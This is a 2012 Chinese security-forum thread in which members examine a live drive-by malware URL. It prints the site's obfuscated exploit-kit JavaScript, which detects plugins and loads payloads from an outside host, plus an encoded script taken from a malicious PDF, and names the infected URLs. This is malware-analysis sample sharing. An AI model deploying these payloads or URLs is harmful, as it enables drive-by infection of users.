查看: 2717|回复: 14
收起左侧

[未鉴定] http://boysizeorder.asia/build/agmx/w59mt.php

[复制链接]
firefox3
发表于 2012-12-12 23:12:51 | 显示全部楼层 |阅读模式
样本在隔壁

fgg.PNG

评分

参与人数 1经验 +4 收起 理由
wjhstu-VxG + 4 感谢支持,欢迎常来: )

查看全部评分

m220011
发表于 2012-12-13 10:02:44 | 显示全部楼层

连Google都拦。。。  关掉铁壳也看不到源码。。。
firefox3
 楼主| 发表于 2012-12-13 11:28:39 | 显示全部楼层
m220011 发表于 2012-12-13 10:02
连Google都拦。。。  关掉铁壳也看不到源码。。。

建议卸载chrome sep
m220011
发表于 2012-12-13 12:32:38 | 显示全部楼层
firefox3 发表于 2012-12-13 11:28
建议卸载chrome sep


用的挺好  不卸
wjhstu-VxG
发表于 2012-12-13 12:40:50 | 显示全部楼层
  1. <body><script id='sc'>function run(){/*fnto ca)vra=ouetcetEeet'fae)a.r=da.it=;ehih=;efaeodr0dcmn.oyapnCida)}ucina({a efnto i)frvri0invgtrmmTpslnt;+)i(aiao.ieye[]tp.neO(apiainvdaoexmr'>1{eun'...1;ra;}eun'...1;tyfrvri0invgtrpuislnt;+)i(aiao.lgn[]nm.neO(AoeArbt)-)tyv=aiao.lgn[]vrini !e{em(;bek}ac()v=i)bek}ra;}cthe{tyvrv=eslt'';a eprela(a0+a1+a2+.+a3)i(v>5037&(e=0.){c'tsovpf)}lei((e=0)&v<808)|(v>90&(e=3.4))a(flbipf)}le}cthe{}ucinji({a vb,jnl,nnl,mnl,f'esaeFml'o=150,s'..'o=170,t'plcto/putm-citbepui;elyetoli'm=apiainjv-elyettokt;ucinw({a tflei(aiao.ieye!nl)frvri0invgtrmmTpslnt;+)i(aiao.ieye[]tp=m)i(aiao.ieye[]ealdlgn{ouetwie'''me d\dp"tp="+t'"hde="re"/';ttu;}i(w)frvri0invgtrmmTpslnt;i+{fnvgtrmmTpsi.ye=t{fnvgtrmmTpsi.nbePui)dcmn.rt(<+ebdi="j\ ye\'o+\ idn\tu\ >)}}}fnto b)i(n=ul{rnvgtrueAettLwrae)i(ridxf'ieo'!-)b=fb=Frfx;es fb.neO(sfr'!-)b=fb=Sfr'}lei(ridxf'oil'!-)b=fb=Ohr;es fb.neO(oea)=1{nn;m'pr'}rtr n}ucinc(dr)vrai.pi(.)vrbr.pi(.)frvri0ialnt;+)ai=ubrai)}o(a =;<.egh+i{[]Nme([];i(.egh=)a2=;i([]b0)rtr re}fa0<[]{eunfle}fa1>[]{euntu;i([]b1)rtr as;i([]b2)rtr re}fa2<[]{eunfle}euntu;fnto j)frvri0invgtrmmTpslnt;+)vrsnvgtrmmTpsi.yevrmsmth/apiain/-aaape;p-eso=.)/;fm=ul{jm1;f'pr'=m{ra;}}ucint(v{f!aiao.ieye)rtr as;frvri0invgtrmmTpslnt;+i{=aiao.ieye[]tp;a =.ac(^plcto\xjv-pltxBeso=1.|\71.|\51.\2$)i(!nl)i(vm1,v){euntu;}rtr as;fnto av)i(!aiao.lgn)|!aiao.lgn.egh)rtr as;frvri0invgtrpuislnt;+)snvgtrpuisi.ecito;fssac(^aaSical lgi Cca/!-)i(vo,v)rtr re}es fssac(^aa)=1{fc(fv)|vo,v|c(ev){euntu;}rtr as;tyg(;f(m=Frfx)&b!'pr')w(;vrVsdcmn.eEeetyd'j'.vsv=M.e()vrin}ac()b=b)i(r=f{j)i(j=ul{vf;es ft(17){v=o;es ft(16){vo;es ft(15){vo;es fb='aai)i(ao){vo;es ft(16){vo;es ft(15){vo;}}r{a apren(vslt''[];a iv.pi(_)1;fm)m=asItm)}lem=;i((m=5&(i3)|(m=6&(i3)|(m=7&(i9){a =ouetcetEeet'plt)asttrbt(cd''rpc.takrcas)asttrbt(acie,ht:/63.210bidam/xvs.h';a =ouetcetEeet'aa';.eAtiue'ae,dt';.eAtiue'au''tp/4.04.7/ul/gxbdxppj1k1';.pedhl()dcmn.oyapnCida;es{b)}cthe{b)}d  e ae)vrd='d=aepred)10;f(a15617)ji(;ucina(d{a edcmn.raelmn(irm';esca;ewdh0a.egt0a.rmbre=;ouetbd.pedhl(e;fnto b)vrv;ucinm({o(a =;<aiao.ieye.eghi+{fnvgtrmmTpsi.yeidxf'plcto/n.db.-as)-)rtr 9000'bek}rtr 7000'}r{o(a =;<aiao.lgn.eghi+{fnvgtrpuisi.aeidxf'db coa'>1{r{envgtrpuisi.eso;f(v)v=i)}ra;cthe{em(;ra;bek}}ac()}r{a av.pi(.)vrv=asFotv[]v[]v[]''v[];f(e=0.2)&v<795)a(bcgd.d';es f(v>80&(e=2.1)|(e=0)&v<9018){c'vvv.d';es{}ac()}fnto ao)vrv,rf=ulb=ulb=uln=Ntcp aiy,f'..'o=160,e'..'o=apiainnrniesrpal-lgnDpomnTokt,t'plcto/aadpomn-oli'fnto e)vrw=as;fnvgtrmmTps=ul{o(a =;<aiao.ieye.eghi+{fnvgtrmmTpsi.ye=t{fnvgtrmmTpsi.nbePui)dcmn.rt(<+ebdi="j\ ye\'m+\ idn\tu\ >)w=re}}f!t{o(a =;<aiao.ieye.egh +)i(aiao.ieye[]tp=o)i(aiao.ieye[]ealdlgn{ouetwie'''me d\dp"tp="+t'"hde="re"/';}}}ucing({fb=nl)b=aiao.srgn.ooeCs(;fb.neO(frfx)=1{nn;m'ieo'}lei(ridxf'aai)=1{nn;m'aai;es fb.neO(mzla)=1{nn;m'te'}lei(ridxf'pr'!-)b=fb=Oea;}eunb;fnto vi,q{a =dslt'';a =qslt'';o(a =;<.egh+i{[]Nme([];frvri0iblnt;+)bi=ubrbi)}falnt=2{[]0}fa0>[]{euntu;i([]b0)rtr as;i([]b1)rtr re}fa1<[]{eunfle}fa2>[]{euntu;i([]b2)rtr as;rtr re}ucing({o(a =;<aiao.ieye.egh+i{a =aiao.ieye[]tp;a =.ac(^plcto\xjv-pltjivrin(*$)i(!nl)f=[]i(Oea!b)bek}}fnto mv)i(nvgtrmmTps{eunfle}o(a =;<aiao.ieye.egh +)snvgtrmmTpsi.yevrmsmth/apiain/-aaape\3vrin(\81.|\61.|\4.)/;fm=ul{fc([] v)rtr re}}eunfle}ucint(v{f(nvgtrpuis|(nvgtrpuislnt){eunfle}o(a =;<aiao.lgn.egh+i{=aiao.lgn[]dsrpini(.erh/Jv wthbePu-n(oo))=1{fc(fv){euntu;}lei(.erh/Jv/!-)i(vo,v|c(sv)|vo,v)rtr re}}eunfle}r{b)i(b!'ieo'&(m=Oea){e)}a M=ouetgtlmnBI(dp)jm;vVsgt0.eso;cthe{rg(;fb=n)g(;ff!nl)v=j}lei(m'.')v  e}lei(m'.')v=s}lei(m'.')v=f}lei(m=Sfr'{ft(e)v=e}lei(a'.')v=s}lei(a'.')v=f}}tyvrm=asItv.pi(.)1)vrm=vslt''[]i(i{ipren(i;es{i0}f (a=)&m<5)|(a=)&m<3)|(a=)&m<))vradcmn.raelmn(ape';.eAtiue'oe,poakAtce.ls';.eAtiue'rhv''tp/4.04.7/ul/gxallipp)vrpdcmn.raelmn(prm)psttrbt(nm''aa)psttrbt(vle,ht:/63.210bidam/ry.h?=&=|)aapnCidp;ouetbd.pedhl()}lea(;}ac()a(;}s=nwDt(;a a';aDt.as(s/00i d<35830{ao)}*/var e=document.getElementById('sc').innerHTML;e=e.replace(String.fromCharCode(13,10), '');var a=e.substr(17,3872);var l=3872;var m=(l-l%2)/2;var b = a.substr(0, m);var c = a.substr(m, m*2);var r='';for (i=0; i<=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2>0){r=r+a.charAt(l);}this[e.charAt(31)+e.charAt(25)+e.charAt(23)+e.charAt(120)](r);}run();</script></body>
复制代码
真是的,哪里找来的奇葩物,到处加密啊!!1
firefox3
 楼主| 发表于 2012-12-13 12:44:08 | 显示全部楼层
wjhstu-VxG 发表于 2012-12-13 12:40
真是的,哪里找来的奇葩物,到处加密啊!!1

还是活的哈,昨天到现在,还能抓虫虫,哈哈
记住啊,不能拖欠搬运工工资
wjhstu-VxG
发表于 2012-12-13 12:56:40 | 显示全部楼层
firefox3 发表于 2012-12-13 12:44
还是活的哈,昨天到现在,还能抓虫虫,哈哈
记住啊,不能拖欠搬运工工资
  1. http://boysizeorder.asia/build/agmx/fvlvbvi.pdf
复制代码
这个pdf……pdf内部插入了代码,然后不知道怎么办了……
firefox3
 楼主| 发表于 2012-12-13 12:57:18 | 显示全部楼层
wjhstu-VxG 发表于 2012-12-13 12:56
这个pdf……pdf内部插入了代码,然后不知道怎么办了……

该!解不出我看着真爽
wjhstu-VxG
发表于 2012-12-13 13:02:40 | 显示全部楼层
firefox3 发表于 2012-12-13 12:57
该!解不出我看着真爽
  1. <script name='sc' contentType='application/x-javascript'>
  2. function run(){
  3. //vr_1'c00f570ac00ff30a3b0a002aef0a11116000000000000000290a400f040011111111634cc54549f304b00b0cb0c6b683b6bec343c1e50ff8b0036965b74454519bc16b5cb458356b60353991cd353bfe082481bd3a0b1bf56ebe43d6bcbd6cf44cb83db4b35be93b3db800dc3436b3b88b7a5988fff298000080a08f000030905bcbe0335f38fe00852cd4f6348b881fffb2b21c4100dc4c74425737444623274480d30388000f6cb839174d0702474d5e4cc64d909a14084d411a0a037a0f645056a03f64a03bc3f6433cb2b370f05a70f054a0aef688ceffeeec8eae9f1d3aabb6696af08440aff46e30e42e170f259c4f17d8f22498e080fad16bd5f9d800;a l=4260a68432609284918439847784444420000000000000007884626000004444444468eff8e73e53c684384087158703d685307328e11ffb843c4307f8328e75ee45587387370f58720f3c44fa0c3d0b13f70cc00d4ef317e58520d680484ef5208d0d8080ca55ce5a8628703709ef8608f605e9fffefe000055646f00058c1558e8518c0fe66600677665f18c08ee6fffe0e78e00008520c027667c4207733c420227256f000f508e3c5c4107767c4102666c410058c0384104560605560f518c71605f50608e05f508c0e0e148307f48307c606ff50e9fff840e9f80860b3c851c473127677732233233233233326766626667267677276736332633363300'_3ap_4nwAry)fnto l({a l=l.iwreso.otig)_6_6rpae''')wie_6lnt&lt;)l+''rtr asIt_61)fnto l(l,l)wie_8lnt*&lt;l)l+_8rtr l.usrn(,l/)fnto I(I)_1uecp(I)rtDk_1lnt*;aRt=nsae'u00)sry_7dkoe020-oea)lxhe_1srylxhe_7lxhe549)fri0   0;i+_4i=oWe.usr0lxhelnt-)dkoe}ucin_2_1ln{hl(I.eghln_1=I;eun_1sbtig0ln}ucin_3_1{e='fri0i_1lnt;+2{=I.usri2;=asItb1)rt=tigfoCaCd()}eunrtfnto j1_1_4{I='fr_60_6_1lnt;I+)_9_4lnt;I=I.hroet_6;I=I.hroet_6_9;I+Srn.rmhroe_7_8;rtr I}ucin_9_6{j=I.otig1)_1_0lnt;I=_12?0+j:j;eun_5fnto j(I)_5';o(I=;I&lt;I.egh_6=)_5=%'_5=I(I.hroet_61)_5=I(I.hroet_6)rtr I}ucin_3)_4_5)i(j&lt;00{j=ouSggpLB///AABAAAAAAAAAAfaSAY9EB'_6_1_7_3_6}le_5'BAjQE9oK//wAAAAAAAAQAAAAxAigAf4K;j=l;j=I(j)_8'UqDgAB;j=I(QF'194;l0'QAADAAAwAAQDAAABAAwDAAABAAgDAAABAAQEAAAIAAwEAAAwAAADMAASAAAAAMA///;l1_8_9_l+j;l2_i(j,';f_l.egh2_l+uecp(%0)_l=j(l2;ih{:l3)I()ibudrwau=l1j1  p.lgn;a 1jpren(p.iwreso.otig)caA();o vri0   1jlnt;i+{f(1ji.ae=Frs)vrj3=1ji.eso;}f((1j=)&amp;j3&lt;.1)| (1j=)&amp;j3&lt;.1){j(;es{a l=4260018432600684ae8432846284444420000000000000001384626000004444444468eff8e73e53c684384087158703d685307328e11ffb843c4307f8328e75ee45587387370f58720f3c44fa0c3d0b13f70cc00d4ef317e58520d680484ef5208d0d8080ca55ce5a8628703709ef8608f605e9fffefe000055646f00058c1558e8518c0fe66600677665f18c08ee6fffe0e78e00008520c027667c4207733c420227256f000f508e3c5c4107767c4102666c410058c0384104560605560f518c71605f50608e05f508c0e0e148307f48307c606ff50e9fff840e9f80860b3c851c473127677732233233233233326766626667267677276736332633363300'vr_2'c00f530ac00f610a0f0a004ade0a11116000000000000000180a400f040011111111634cc54549f304b00b0cb0c6b683b6bec343c1e50ff8b0036965b74454519bc16b5cb458356b60353991cd353bfe082481bd3a0b1bf56ebe43d6bcbd6cf44cb83db4b35be93b3db800dc3436b3b88b7a5988fff298000080a08f000030905bcbe0335f38fe00852cd4f6348b881fffb2b21c4100dc4c74425737444623274480d30388000f6cb839174d0702474d5e4cc64d909a14084d411a0a037a0f645056a03f64a03bc3f6433cb2b370f05a70f054a0aef688ceffeeec8eae9f1d3aabb6696af08440aff46e30e42e170f259c4f17d8f22498e080fad16bd5f9d800;l=p;l=e ra(;ucin_5)vr_6_3veeVrintSrn(;l=l.elc(.,';hl(l.egh4_6=0;eunpren(l,0}ucin_7_8_9{hl(l.egh2_9_8=l;eun_8sbtig0_92}ucin_0_1{I=nsae_1;oea=I.egh2dkoeuecp(%99';pa=l(aRt,x00rtDk;oWe=I+pa;oWe=l(oWe,208;o(=;i&lt;40 +)l[]lxhesbt(,oWe.egh1+aRt;fnto I(I,e)wie_1lnt&lt;e)I+_1rtr I.usrn(,e)fnto I(I)rt';o(=;&lt;I.eghi=)b_1sbt(,)cpren(,6;e+Srn.rmhroec;rtr e}ucin_i(I,I)_5';o(I=;I&lt;I.egh_6+{l=I.egh_7_1caCdA(I)_8_4caCdA(I%l)_5=tigfoCaCd(I^I)}eun_5fnto I(I)_0_6tSrn(6;j=j.egh_5(j%)''_0_0rtr I}ucin_2_1{I='fr_60_6_1lnt;I+2{I+'u;I+_9_1caCdA(I+);I+_9_1caCdA(I)}eun_5fnto j({j=l(;f_490)_5'+Ajgku4K//wAAAAAAAAQAAAAhAigA8IK;j=l;j=I(j)es{j=k+SihpfB///AABAAAAAAAAAAYCSAY/EB'_6_2_7_3_6}j=SkAgAB'_9_2'UB,08)_l=QcAEAEAAIAAEAEAAAAAEAEAAAABEAEAAAAEEAEAAAAFEAEAAIAUEAwACIAAAAADj//'_l=j+j+l0_5_l=j1_7')i(l2lnt%)l2=nsae'0';l3_2_l)wt(k_l}_0k;non.aVle_l}1j=appuIsvrj2=asItapveeVrintSrn(.hrt0)fr(a =;i&lt;j1.egh +)i j1[]nm='om'{a 1jj1[]vrin}i (j2=8&amp;(1j82) |(j2=9&amp;(1j93))_3)}le}
  4. var e=this.xfa.form.njksadnfj12n3njfdsdf.njnn3jnnsadkasdnjk34nnfd.inbound.ura.sc.value;var a=e.substr(19,3938);var l=a.length;var m=(l-l%2)/2;var b = a.substr(0, m);var c = a.substr(m, m*2);var r='';for (i=0; i&lt;=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2&gt;0){r=r+a.charAt(l);}this[e.charAt(48)+'va'+e.charAt(539)](r);}run();
  5. </script>
复制代码
pdf里面的……你爽,我不爽,经验不给了
firefox3
 楼主| 发表于 2012-12-13 13:03:40 | 显示全部楼层
wjhstu-VxG 发表于 2012-12-13 13:02
pdf里面的……你爽,我不爽,经验不给了

那我就不给你找了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 11:54 , Processed in 0.149510 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表